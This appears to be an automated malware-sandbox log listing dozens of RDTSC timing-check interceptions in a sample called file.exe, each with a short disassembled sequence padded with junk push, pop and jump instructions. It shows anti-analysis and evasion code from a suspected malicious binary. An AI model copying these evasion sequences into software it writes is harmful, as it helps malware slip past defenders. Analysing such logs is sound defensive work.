Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736013 second address: 736021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F53D9251E76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736021 second address: 736052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F53D9251A6Ch 0x0000000b jmp 00007F53D9251A4Eh 0x00000010 jmp 00007F53D9251A58h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736052 second address: 7360A9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F53D9251E7Ch 0x00000008 pushad 0x00000009 jmp 00007F53D9251E88h 0x0000000e jmp 00007F53D9251E89h 0x00000013 jl 00007F53D9251E76h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jng 00007F53D9251E76h 0x00000026 push edi 0x00000027 pop edi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73621B second address: 736223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736223 second address: 736227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B406 second address: 73B41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A54h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B41F second address: 73B426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B426 second address: 73B444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F53D9251A4Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9A2 second address: 73B9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73B9A6 second address: 73B9B5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F53D9251A46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BC33 second address: 73BC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F53D9251E76h 0x0000000a jp 00007F53D9251E88h 0x00000010 jmp 00007F53D9251E7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BC51 second address: 73BC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BC55 second address: 73BC82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F53D9251E89h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF27 second address: 73BF3E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F53D9251A50h 0x00000008 pop ebx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF3E second address: 73BF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007F53D9251E82h 0x00000010 push ecx 0x00000011 jng 00007F53D9251E76h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF68 second address: 73BF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BF6C second address: 73BF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E86h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73C0D3 second address: 73C0D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1A21 second address: 6F1A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1A25 second address: 6F1A2F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F53D9251A46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F1A2F second address: 6F1A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edx 0x00000008 js 00007F53D9251E7Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707ECC second address: 707ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 707ED0 second address: 707EE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708259 second address: 70825F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70825F second address: 708277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F53D9251E76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708277 second address: 70827B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7088AF second address: 7088BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F53D9251E76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708D1C second address: 708D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708D22 second address: 708D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708D27 second address: 708D2C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E87 second address: 708E91 instructions: 0x00000000 rdtsc 0x00000002 js 00007F53D9251E7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708E91 second address: 708EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F53D9251A59h 0x0000000f jmp 00007F53D9251A4Ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743887 second address: 74388D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74388D second address: 743891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743A0C second address: 743A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251E7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F53D9251E7Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743BB1 second address: 743BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F53D9251A46h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e je 00007F53D9251A46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 743BC5 second address: 743BDE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F53D9251E7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74401A second address: 744038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F53D9251A55h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744038 second address: 74404B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007F53D9251E76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7441F6 second address: 744202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53D9251A46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744202 second address: 74420C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CFA7 second address: 74CFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A58h 0x00000009 popad 0x0000000a push eax 0x0000000b jp 00007F53D9251A46h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CFD3 second address: 74CFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CFD9 second address: 74D001 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F53D9251A46h 0x00000008 jmp 00007F53D9251A56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007F53D9251A48h 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D001 second address: 74D018 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F53D9251E82h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BCA1 second address: 74BCA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BDFD second address: 74BE05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74BE05 second address: 74BE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C258 second address: 74C263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B97B second address: 74B9C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F53D9251A53h 0x00000013 pop esi 0x00000014 jp 00007F53D9251A52h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B9C0 second address: 74B9C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B9C5 second address: 74B9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F53D9251A46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B9D1 second address: 74B9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C6DB second address: 74C6E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C843 second address: 74C854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F53D9251E76h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C854 second address: 74C87E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F53D9251A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F53D9251A56h 0x00000010 pop esi 0x00000011 jg 00007F53D9251A4Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CCB2 second address: 74CCBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F53D9251E76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FFB3 second address: 74FFC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F9A9 second address: 74F9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251E7Eh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F9BE second address: 74F9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F9C6 second address: 74F9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F9CB second address: 74FA17 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53D9251A6Bh 0x00000008 jmp 00007F53D9251A54h 0x0000000d jmp 00007F53D9251A51h 0x00000012 jns 00007F53D9251A4Eh 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f jmp 00007F53D9251A4Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FA17 second address: 74FA1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FA1B second address: 74FA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB6D second address: 74FB75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB75 second address: 74FB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F53D9251A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB7F second address: 74FB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FB83 second address: 74FBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A59h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F53D9251A56h 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F53D9251A46h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751FB6 second address: 751FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53D9251E85h 0x00000009 jmp 00007F53D9251E81h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751FE0 second address: 751FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 751FE4 second address: 752012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F53D9251E76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F53D9251E7Bh 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 jp 00007F53D9251E7Ch 0x0000001e jno 00007F53D9251E76h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752012 second address: 75202A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53D9251A54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757D1D second address: 757D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757D21 second address: 757D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7570D5 second address: 7570DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7570DF second address: 7570FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53D9251A55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75726B second address: 757273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757745 second address: 75774D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75774D second address: 757753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7578BB second address: 7578CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 ja 00007F53D9251A46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7578CA second address: 7578CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AD39 second address: 75AD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AD3F second address: 75AD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AA43 second address: 75AA53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F53D9251A46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F395 second address: 75F3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F3A0 second address: 75F3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662B7 second address: 7662BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662BE second address: 7662C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662C5 second address: 7662F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jg 00007F53D9251E76h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F53D9251E7Bh 0x0000001d js 00007F53D9251E76h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 push edi 0x00000027 jng 00007F53D9251E76h 0x0000002d pop edi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7662F9 second address: 766316 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53D9251A4Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F53D9251A4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766969 second address: 76696F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76696F second address: 76697F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76697F second address: 766989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766C05 second address: 766C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766C09 second address: 766C4D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53D9251E76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jc 00007F53D9251EB3h 0x00000011 push edi 0x00000012 jmp 00007F53D9251E86h 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F53D9251E89h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766C4D second address: 766C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
